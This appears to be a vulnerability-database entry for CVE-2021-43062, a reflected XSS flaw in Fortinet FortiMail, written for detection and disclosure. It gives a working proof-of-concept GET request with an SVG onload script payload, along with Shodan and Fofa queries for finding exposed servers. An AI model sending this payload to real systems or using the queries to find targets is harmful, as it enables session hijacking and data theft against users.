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CVE-2021-43062: Fortinet FortiMail 7.0.1 - Cross-Site Scripting

TitleFortinet FortiMail 7.0.1 - Cross-Site Scripting
Authorajaysenr
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
CVSS Score6.1
EPSS Score0.50211
CVE IDCVE-2021-43062
CWE IDCWE-79
Shodan Queryhttp.title:"fortimail"
Fofa Querytitle="fortimail"fortimail && port=443
Tags cve cve2021 fortimail xss fortinet edb vuln

🔍 Vulnerability Description

A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.

🌐 HTTP Request

GET /fmlurlsvc/?url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43062.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43062.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A